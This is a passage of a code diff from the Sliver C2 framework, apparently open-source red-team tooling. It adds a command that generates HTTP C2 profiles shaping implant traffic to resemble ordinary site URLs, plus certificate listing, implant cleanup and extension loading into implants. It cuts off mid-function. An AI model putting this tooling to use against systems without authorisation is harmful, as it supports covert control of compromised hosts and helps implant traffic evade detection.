@@ -456,7 +559,7 @@ func PrintC2Profiles(profile *clientpb.HTTPC2Config, con *console.SliverClient)
|
||||
|
||||
var clientHeaders []string
|
||||
for _, header := range profile.ImplantConfig.Headers {
|
||||
clientHeaders = append(clientHeaders, header.Value)
|
||||
clientHeaders = append(clientHeaders, header.Name)
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
"Client Headers",
|
||||
@@ -598,3 +701,115 @@ func selectC2Profile(c2profiles []*clientpb.HTTPC2Config) string {
|
||||
|
||||
return c2profile
|
||||
}
|
||||
|
||||
func updateC2Profile(usedExtensions []string, template *assets.HTTPC2Config, urls []string) (*assets.HTTPC2Config, error) {
|
||||
// update the template with the urls
|
||||
|
||||
var (
|
||||
paths []string
|
||||
filenames []string
|
||||
extensions []string
|
||||
filteredExtensions []string
|
||||
)
|
||||
|
||||
for _, urlPath := range urls {
|
||||
parsedURL, err := url.Parse(urlPath)
|
||||
if err != nil {
|
||||
fmt.Println("Error parsing URL:", err)
|
||||
continue
|
||||
}
|
||||
|
||||
dir, file := path.Split(parsedURL.Path)
|
||||
dir = strings.Trim(dir, "/")
|
||||
if dir != "" {
|
||||
paths = append(paths, strings.Split(dir, "/")...)
|
||||
}
|
||||
|
||||
if file != "" {
|
||||
fileName := strings.TrimSuffix(file, filepath.Ext(file))
|
||||
filenames = append(filenames, fileName)
|
||||
ext := strings.TrimPrefix(filepath.Ext(file), ".")
|
||||
if ext != "" {
|
||||
extensions = append(extensions, ext)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
slices.Sort(extensions)
|
||||
extensions = slices.Compact(extensions)
|
||||
|
||||
for _, extension := range extensions {
|
||||
if !slices.Contains(usedExtensions, extension) {
|
||||
filteredExtensions = append(filteredExtensions, extension)
|
||||
}
|
||||
}
|
||||
|
||||
slices.Sort(paths)
|
||||
paths = slices.Compact(paths)
|
||||
|
||||
slices.Sort(filenames)
|
||||
filenames = slices.Compact(filenames)
|
||||
|
||||
// 5 is arbitrarily used as a minimum value, it only has to be 5 for the extensions, the others can be lower
|
||||
if len(filteredExtensions) < 5 {
|
||||
return nil, fmt.Errorf("got %d unused extensions, need at least 5", len(filteredExtensions))
|
||||
}
|
||||
|
||||
if len(paths) < 5 {
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(paths))
|
||||
}
|
||||
|
||||
if len(filenames) < 5 {
|
||||
return nil, fmt.Errorf("got %d paths need at least 5", len(filenames))
|
||||
}
|
||||
|
||||
// shuffle extensions
|
||||
for i := len(extensions) - 1; i > 0; i-- {
|
||||
j := rand.Intn(i + 1)
|
||||
extensions[i], extensions[j] = extensions[j], extensions[i]
|
||||
}
|
||||
|
||||
template.ImplantConfig.PollFileExt = extensions[0]
|
||||
template.ImplantConfig.StagerFileExt = extensions[1]
|
||||
template.ImplantConfig.StartSessionFileExt = extensions[2]
|
||||
template.ImplantConfig.SessionFileExt = extensions[3]
|
||||
template.ImplantConfig.CloseFileExt = extensions[4]
|
||||
|
||||
// randomly distribute the paths and filenames into the different segment types
|
||||
template.ImplantConfig.CloseFiles = []string{}
|
||||
template.ImplantConfig.SessionFiles = []string{}
|
||||
template.ImplantConfig.PollFiles = []string{}
|
||||
template.ImplantConfig.StagerFiles = []string{}
|
||||
template.ImplantConfig.ClosePaths = []string{}
|
||||
template.ImplantConfig.SessionPaths = []string{}
|
||||
template.ImplantConfig.PollPaths = []string{}
|
||||
template.ImplantConfig.StagerPaths = []string{}
|
||||
|
||||
for _, path := range paths {
|
||||
switch rand.Intn(4) {
|
||||
case 0:
|
||||
template.ImplantConfig.PollPaths = append(template.ImplantConfig.PollPaths, path)
|
||||
case 1:
|
||||
template.ImplantConfig.SessionPaths = append(template.ImplantConfig.SessionPaths, path)
|
||||
case 2:
|
||||
template.ImplantConfig.ClosePaths = append(template.ImplantConfig.ClosePaths, path)
|
||||
case 3:
|
||||
template.ImplantConfig.StagerPaths = append(template.ImplantConfig.StagerPaths, path)
|
||||
}
|
||||
}
|
||||
|
||||
for _, filename := range filenames {
|
||||
switch rand.Intn(4) {
|
||||
case 0:
|
||||
template.ImplantConfig.PollFiles = append(template.ImplantConfig.PollFiles, filename)
|
||||
case 1:
|
||||
template.ImplantConfig.SessionFiles = append(template.ImplantConfig.SessionFiles, filename)
|
||||
case 2:
|
||||
template.ImplantConfig.CloseFiles = append(template.ImplantConfig.CloseFiles, filename)
|
||||
case 3:
|
||||
template.ImplantConfig.StagerFiles = append(template.ImplantConfig.StagerFiles, filename)
|
||||
}
|
||||
}
|
||||
|
||||
return template, nil
|
||||
}
|
||||
@@ -39,7 +39,9 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind(consts.ExportC2ProfileStr, false, exportC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
|
||||
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
|
||||
|
||||
})
|
||||
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
C2ProfileCmd := &cobra.Command{
|
||||
@@ -58,6 +60,28 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.BindFlagCompletions(C2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["name"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
generateC2ProfileCmd := &cobra.Command{
|
||||
Use: consts.C2GenerateStr,
|
||||
Short: "Generate a C2 Profile from a list of urls",
|
||||
Long: help.GetHelpFor([]string{consts.C2ProfileStr + "." + consts.C2GenerateStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
GenerateC2ProfileCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
|
||||
flags.Bind(consts.GenerateStr, false, generateC2ProfileCmd, func(f *pflag.FlagSet) {
|
||||
f.StringP("file", "f", "", "Path to file containing URL list, /hello/there.txt one per line")
|
||||
f.BoolP("import", "i", false, "Import the generated profile after creation")
|
||||
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
|
||||
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
|
||||
})
|
||||
|
||||
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
|
||||
(*comp)["template"] = generate.HTTPC2Completer(con)
|
||||
})
|
||||
|
||||
C2ProfileCmd.AddCommand(generateC2ProfileCmd)
|
||||
C2ProfileCmd.AddCommand(importC2ProfileCmd)
|
||||
C2ProfileCmd.AddCommand(exportC2ProfileCmd)
|
||||
|
||||
|
||||
@@ -0,0 +1,181 @@
|
||||
package certificates
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
const (
|
||||
timeFormat = "2006-01-02 15:04:05 UTC-0700"
|
||||
)
|
||||
|
||||
// Defining the transport filters
|
||||
const (
|
||||
MTLSTransport uint32 = 1 << iota
|
||||
HTTPSTransport
|
||||
AllTransports
|
||||
)
|
||||
|
||||
// Defining the role filters
|
||||
const (
|
||||
// Provide some separation between the options so that we do not have duplicate combinations
|
||||
ServerRole uint32 = 8 << iota
|
||||
ImplantRole
|
||||
AllRoles
|
||||
)
|
||||
|
||||
func CertificateInfoCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
// Since we are sending this value in a protobuf, we will give it a fixed bit size
|
||||
// 32 is the smallest we can go
|
||||
var chosenOptions uint32
|
||||
|
||||
if cmd.Flags().Changed("mtls") {
|
||||
if cmd.Flags().Changed("https") {
|
||||
chosenOptions = AllTransports
|
||||
} else {
|
||||
chosenOptions = MTLSTransport
|
||||
}
|
||||
} else if cmd.Flags().Changed("https") {
|
||||
chosenOptions = HTTPSTransport
|
||||
} else {
|
||||
chosenOptions = AllTransports
|
||||
}
|
||||
|
||||
if cmd.Flags().Changed("server") {
|
||||
if cmd.Flags().Changed("implant") {
|
||||
chosenOptions |= AllRoles
|
||||
} else {
|
||||
chosenOptions |= ServerRole
|
||||
}
|
||||
} else if cmd.Flags().Changed("implant") {
|
||||
chosenOptions |= ImplantRole
|
||||
} else {
|
||||
chosenOptions |= AllRoles
|
||||
}
|
||||
|
||||
request := &clientpb.CertificatesReq{
|
||||
CategoryFilters: chosenOptions,
|
||||
}
|
||||
|
||||
request.CN, _ = cmd.Flags().GetString("cn")
|
||||
|
||||
// Ask the server for information about certificates
|
||||
certificateInfo, err := con.Rpc.GetCertificateInfo(context.Background(), request)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not get certificate information from database: %s", err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
printCertificateInfo(con, certificateInfo.Info)
|
||||
}
|
||||
|
||||
func checkCertExpiry(expiryTime time.Time) string {
|
||||
if expiryTime.Before(time.Now()) || expiryTime.Equal(time.Now()) {
|
||||
return console.Bold + console.Red
|
||||
}
|
||||
|
||||
// One week is 168 hours - this is bad
|
||||
if expiryTime.Before(time.Now().Add(168 * time.Hour)) {
|
||||
return console.Bold + console.Red
|
||||
}
|
||||
|
||||
// One month is approximately 730 hours - this is a warning
|
||||
if expiryTime.Before(time.Now().Add(730 * time.Hour)) {
|
||||
return console.Bold + console.Orange
|
||||
}
|
||||
|
||||
return console.Normal
|
||||
}
|
||||
|
||||
func printCertificateInfo(con *console.SliverClient, certData []*clientpb.CertificateData) {
|
||||
// Get the terminal width
|
||||
width, _, err := term.GetSize(0)
|
||||
if err != nil {
|
||||
width = 999
|
||||
}
|
||||
|
||||
if len(certData) == 0 {
|
||||
con.PrintWarnf("There are no certificates in the database matching the given parameters.\n")
|
||||
return
|
||||
}
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
wideTermWidth := con.Settings.SmallTermWidth < width
|
||||
|
||||
if wideTermWidth {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Common Name",
|
||||
"Creation Time",
|
||||
"Certificate Type",
|
||||
"Key Algorithm",
|
||||
"Validity Start",
|
||||
"Expires",
|
||||
})
|
||||
} else {
|
||||
tw.AppendHeader(table.Row{
|
||||
"ID",
|
||||
"Common Name",
|
||||
"Expires",
|
||||
})
|
||||
}
|
||||
|
||||
for _, cert := range certData {
|
||||
rowColor := console.Normal
|
||||
|
||||
expiry, err := time.Parse(timeFormat, cert.ValidityExpiry)
|
||||
// This should not error out, but if it does, the row will not be colored
|
||||
if err == nil {
|
||||
rowColor = checkCertExpiry(expiry)
|
||||
}
|
||||
if wideTermWidth {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CreationTime),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.Type),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.KeyAlgorithm),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityStart),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
||||
})
|
||||
} else {
|
||||
tw.AppendRow(table.Row{
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ID),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.CN),
|
||||
fmt.Sprintf(rowColor+"%s"+console.Normal, cert.ValidityExpiry),
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
tw.SortBy([]table.SortBy{{Name: "Expires", Mode: table.Dsc}})
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
package certificates
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2024 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/pflag"
|
||||
)
|
||||
|
||||
func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
certificatesCmd := &cobra.Command{
|
||||
Use: consts.CertificatesStr,
|
||||
Short: "Certificate management",
|
||||
Long: help.GetHelpFor([]string{consts.CertificatesStr}),
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CertificateInfoCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: consts.GenericHelpGroup,
|
||||
}
|
||||
flags.Bind(consts.CertificatesStr, false, certificatesCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("mtls", "m", false, "Show MTLS certificates")
|
||||
f.BoolP("https", "p", false, "Show HTTPS certificates")
|
||||
f.BoolP("implant", "i", false, "Show implant certificates")
|
||||
f.BoolP("server", "s", false, "Show server certificates")
|
||||
f.StringP("cn", "c", "", "Show certificate information for a provided common name")
|
||||
})
|
||||
|
||||
return []*cobra.Command{
|
||||
certificatesCmd,
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
package clean
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2023 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/command/flags"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
// CleanCmd - Remove all profiles, beacons, sessions and implant builds (Builds and logs will still exist on disk in .sliver)
|
||||
func CleanCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
con.Printf("This command will kill and remove all sessions, beacons and profiles \n")
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Are you sure you want to destroy everything?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
err := removeSessionsAndBeacons(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = removeImplantBuilds(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
err = removeProfiles(con)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.Printf("All done !\n")
|
||||
}
|
||||
|
||||
func removeImplantBuilds(con *console.SliverClient) error {
|
||||
builds, err := con.Rpc.ImplantBuilds(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
for name, _ := range builds.Configs {
|
||||
_, err := con.Rpc.DeleteImplantBuild(context.Background(), &clientpb.DeleteReq{
|
||||
Name: name,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func removeProfiles(con *console.SliverClient) error {
|
||||
profiles, err := con.Rpc.ImplantProfiles(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, profile := range profiles.Profiles {
|
||||
_, err := con.Rpc.DeleteImplantProfile(context.Background(), &clientpb.DeleteReq{
|
||||
Name: profile.Name,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func removeSessionsAndBeacons(con *console.SliverClient) error {
|
||||
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, session := range sessions.Sessions {
|
||||
_, err := con.Rpc.Kill(context.Background(), &sliverpb.KillReq{
|
||||
Request: &commonpb.Request{
|
||||
SessionID: session.ID,
|
||||
Timeout: flags.DefaultTimeout,
|
||||
},
|
||||
Force: false,
|
||||
})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
beacons, err := con.Rpc.GetBeacons(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, beacon := range beacons.Beacons {
|
||||
_, err = con.Rpc.RmBeacon(context.Background(), &clientpb.Beacon{ID: beacon.ID})
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Commands returns the `exit` command.
|
||||
func Command(con *console.SliverClient) []*cobra.Command {
|
||||
return []*cobra.Command{{
|
||||
Use: "clean",
|
||||
Short: "Remove all profiles, beacons, sessions, implant builds and HTTP profiles (Builds and logs will still exist on disk in .sliver)",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
CleanCmd(cmd, con, args)
|
||||
},
|
||||
GroupID: constants.GenericHelpGroup,
|
||||
}}
|
||||
}
|
||||
@@ -49,7 +49,7 @@ func MsfInjectCmd(cmd *cobra.Command, con *console.SliverClient, args []string)
|
||||
return
|
||||
}
|
||||
if pid == -1 {
|
||||
con.PrintErrorf("Invalid pid '%s', see `help %s`\n", lhost, consts.MsfInjectStr)
|
||||
con.PrintErrorf("Invalid pid '%d', see `help %s`\n", pid, consts.MsfInjectStr)
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
|
||||
@@ -39,6 +39,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/client/core"
|
||||
"github.com/bishopfox/sliver/client/packages"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
@@ -92,13 +93,15 @@ type ExtensionManifest struct {
|
||||
}
|
||||
|
||||
type ExtCommand struct {
|
||||
CommandName string `json:"command_name"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
CommandName string `json:"command_name"`
|
||||
Help string `json:"help"`
|
||||
LongHelp string `json:"long_help"`
|
||||
Files []*extensionFile `json:"files"`
|
||||
Arguments []*extensionArgument `json:"arguments"`
|
||||
Entrypoint string `json:"entrypoint"`
|
||||
DependsOn string `json:"depends_on"`
|
||||
Init string `json:"init"`
|
||||
Schema *packages.OutputSchema `json:"schema"`
|
||||
|
||||
Manifest *ExtensionManifest
|
||||
}
|
||||
@@ -141,13 +144,13 @@ func (e *ExtCommand) getFileForTarget(targetOS string, targetArch string) (strin
|
||||
func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
dirPath := args[0]
|
||||
// dirPath := ctx.Args.String("dir-path")
|
||||
manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
manifest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName))
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
// do not add if the command already exists
|
||||
sliverMenu := con.App.Menu("implant")
|
||||
for _, extCmd := range manyfest.ExtCommand {
|
||||
for _, extCmd := range manifest.ExtCommand {
|
||||
if CmdExists(extCmd.CommandName, sliverMenu.Command) {
|
||||
con.PrintErrorf("%s command already exists\n", extCmd.CommandName)
|
||||
confirm := false
|
||||
@@ -184,7 +187,7 @@ func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) {
|
||||
|
||||
func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
ret := &ExtensionManifest{
|
||||
Name: old.CommandName, //treating old commandname as the manifest name to avoid weird chars mostly
|
||||
Name: old.CommandName, //treating old command name as the manifest name to avoid weird chars mostly
|
||||
Version: old.Version,
|
||||
ExtensionAuthor: old.ExtensionAuthor,
|
||||
OriginalAuthor: old.OriginalAuthor,
|
||||
@@ -200,6 +203,7 @@ func convertOldManifest(old *ExtensionManifest_) *ExtensionManifest {
|
||||
Entrypoint: old.Entrypoint,
|
||||
Files: old.Files,
|
||||
Arguments: old.Arguments,
|
||||
Schema: nil,
|
||||
},
|
||||
},
|
||||
}
|
||||
@@ -215,7 +219,9 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
err := json.Unmarshal(data, &extManifest)
|
||||
if err != nil || len(extManifest.ExtCommand) == 0 { //extensions must have at least one command to be sensible
|
||||
//maybe it's an old manifest
|
||||
log.Println(err)
|
||||
if err != nil {
|
||||
log.Printf("extension load error: %s", err)
|
||||
}
|
||||
oldmanifest := &ExtensionManifest_{}
|
||||
err := json.Unmarshal(data, &oldmanifest)
|
||||
if err != nil {
|
||||
@@ -225,9 +231,13 @@ func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) {
|
||||
//yes, ok, lets jigger it to a new manifest
|
||||
extManifest = convertOldManifest(oldmanifest)
|
||||
}
|
||||
//pass ref to manifest to each command
|
||||
//pass ref to manifest to each command and initialize output schema if applicable
|
||||
for i := range extManifest.ExtCommand {
|
||||
extManifest.ExtCommand[i].Manifest = extManifest
|
||||
command := extManifest.ExtCommand[i]
|
||||
command.Manifest = extManifest
|
||||
if command.Schema != nil {
|
||||
command.Schema.IngestColumns()
|
||||
}
|
||||
}
|
||||
return extManifest, validManifest(extManifest)
|
||||
}
|
||||
@@ -260,6 +270,11 @@ func validManifest(manifest *ExtensionManifest) error {
|
||||
if extManifest.Help == "" {
|
||||
return errors.New("missing `help` field in extension manifest")
|
||||
}
|
||||
if extManifest.Schema != nil {
|
||||
if !packages.IsValidSchemaType(extManifest.Schema.Name) {
|
||||
return fmt.Errorf("%s is not a valid schema type", extManifest.Schema.Name)
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -369,38 +384,50 @@ func loadExtension(goos string, goarch string, checkCache bool, ext *ExtCommand,
|
||||
}
|
||||
extensionList = extList.Names
|
||||
}
|
||||
depLoaded := false
|
||||
//extensionList contains all *implant* loaded extensions. Is a sha256 sum of the relevant file.
|
||||
|
||||
//get the file hash to compare against implant extensions later
|
||||
toberunfilepath, err := ext.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
//we need to check the dependent if it's a bof
|
||||
if ext.DependsOn != "" {
|
||||
//verify extension is in loaded list
|
||||
if extension, found := loadedExtensions[ext.DependsOn]; found {
|
||||
toberunfilepath, err = extension.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
// handle error
|
||||
return fmt.Errorf("attempted to load non-existing extension: %s", ext.DependsOn)
|
||||
}
|
||||
}
|
||||
|
||||
//todo, maybe cache these values somewhere
|
||||
toberunfiledata, err := os.ReadFile(toberunfilepath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if len(toberunfiledata) == 0 {
|
||||
//read an empty file, bail out
|
||||
return errors.New("read empty extension file content")
|
||||
}
|
||||
bd := sha256.Sum256(toberunfiledata)
|
||||
toberunhash := hex.EncodeToString(bd[:])
|
||||
|
||||
for _, extName := range extensionList {
|
||||
if !depLoaded {
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extName == extN.DependsOn {
|
||||
depLoaded = true
|
||||
}
|
||||
}
|
||||
//check if the file suffixes are the same (should only be relevant to the same extension package), and don't load the file if it's already there
|
||||
extN := loadedExtensions[cmd.Name()]
|
||||
if extN != nil {
|
||||
//confirm we haven't already loaded the file
|
||||
for _, extf := range extN.Files {
|
||||
if strings.HasSuffix(binPath, extf.Path) {
|
||||
//file already exists, no need to load it
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
if extN, ok := loadedExtensions[cmd.Name()]; ok && extN.CommandName == extName {
|
||||
//check if extension we are trying to run (ext.CommandName or ext.DependsOn, for bofs) is already loaded
|
||||
if extName == toberunhash {
|
||||
//exists on the other side, exit early
|
||||
return nil
|
||||
}
|
||||
}
|
||||
// Extension not found, let's load it
|
||||
if filepath.Ext(binPath) == ".o" {
|
||||
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
|
||||
// Auto load the coff loader if we have it
|
||||
if !depLoaded {
|
||||
if errLoad := loadDep(goos, goarch, ext.DependsOn, cmd, con); errLoad != nil {
|
||||
return errLoad
|
||||
}
|
||||
}
|
||||
return nil
|
||||
// BOFs are not loaded by the DLL loader, but we need to load the loader (more load more good)
|
||||
if ext.DependsOn != "" {
|
||||
return loadDep(goos, goarch, ext.DependsOn, cmd, con)
|
||||
}
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
@@ -416,13 +443,41 @@ func registerExtension(goos string, ext *ExtCommand, binData []byte, cmd *cobra.
|
||||
//set extension name to a hash of the data to avoid loading more than one instance
|
||||
bd := sha256.Sum256(binData)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
sess, beac := con.ActiveTarget.GetInteractive()
|
||||
ctrl := make(chan bool)
|
||||
//first time run of an extension will require some waiting depending on the size
|
||||
if sess != nil {
|
||||
msg := fmt.Sprintf("Sending %s to implant ...", ext.CommandName)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
}
|
||||
//don't block if we are in beacon mode
|
||||
if beac != nil && sess == nil {
|
||||
go func() {
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Init: ext.Init,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error registering extension: %s\n", err)
|
||||
}
|
||||
if registerResp.Response != nil && registerResp.Response.Err != "" {
|
||||
con.PrintErrorf("Error registering extension: %s\n", errors.New(registerResp.Response.Err))
|
||||
}
|
||||
}()
|
||||
return nil
|
||||
}
|
||||
//session mode (hopefully)
|
||||
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
//Init: ext.Init, ?
|
||||
Name: name,
|
||||
Data: binData,
|
||||
OS: goos,
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
@@ -523,6 +578,33 @@ func runExtensionCmd(cmd *cobra.Command, con *console.SliverClient, args []strin
|
||||
}
|
||||
bd := sha256.Sum256(extdata)
|
||||
name := hex.EncodeToString(bd[:])
|
||||
if isBOF {
|
||||
//if we are using a bof, we are actually calling the coffloader extension - so get the file from dep ref and use that shasum
|
||||
|
||||
if extension, found := loadedExtensions[ext.DependsOn]; found {
|
||||
dep, err := extension.getFileForTarget(goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("could not get file for extension %s", ext.DependsOn)
|
||||
return
|
||||
}
|
||||
depdata, err := os.ReadFile(dep)
|
||||
if err != nil {
|
||||
con.PrintErrorf("dep read file error: %s\n", err)
|
||||
return
|
||||
}
|
||||
if len(depdata) == 0 {
|
||||
con.PrintErrorf("read empty file: %s\n", dep)
|
||||
return
|
||||
}
|
||||
